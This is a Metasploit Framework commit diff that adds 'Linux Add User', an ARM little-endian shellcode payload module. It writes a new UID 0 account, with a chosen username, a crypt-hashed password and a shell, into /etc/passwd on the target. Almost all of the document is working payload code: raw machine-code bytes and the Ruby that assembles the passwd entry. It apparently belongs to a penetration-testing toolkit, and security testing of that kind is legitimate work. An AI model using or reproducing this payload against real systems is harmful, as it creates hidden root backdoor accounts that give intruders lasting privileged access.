Closes #3976 by merging in an ARM adduser payload from Jonathan Salwan

git-svn-id: file:///home/svn/framework3/trunk@12045 4d416f70-5f16-0410-b530-b9f4589650da

modules/payloads/singles/linux/armle/adduser.rb

@@ -0,0 +1,66 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+###
+#
+# AddUser
+# -------
+#
+# Adds a UID 0 user to /etc/passwd.
+#
+###
+module Metasploit3
+
+	include Msf::Payload::Single
+	include Msf::Payload::Linux
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Linux Add User',
+			'Version'       => '$Revision$',
+			'Description'   => 'Create a new user with UID 0',
+			'Author'        => [ 'Jonathan Salwan' ],
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'linux',
+			'Arch'          => ARCH_ARMLE,
+			'Privileged'    => true))
+
+		# Register adduser options
+		register_options(
+			[
+				OptString.new('USER',  [ true,  "The username to create",     "metasploit" ]),
+				OptString.new('PASS',  [ true,  "The password for this user", "metasploit" ]),
+				OptString.new('SHELL', [ false, "The shell for this user",    "/bin/sh"    ]),
+			], self.class)
+	end
+
+	#
+	# Dynamically builds the adduser payload based on the user's options.
+	#
+	def generate_stage
+		user    = datastore['USER']  || 'metasploit'
+		pass    = datastore['PASS']  || 'metasploit'
+		shell   = datastore['SHELL'] || '/bin/sh'
+		str     = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
+		strl1   = [ (str.length)+52 ].pack('C*')
+		strl2   = [ str.length ].pack('C*')
+		pwdir   = "/etc/passwd"
+		payload = 
+			"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
+			"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
+			"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" + 
+			"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" + 
+			strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
+			"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" + 
+			str + pwdir
+
+	end
+
+end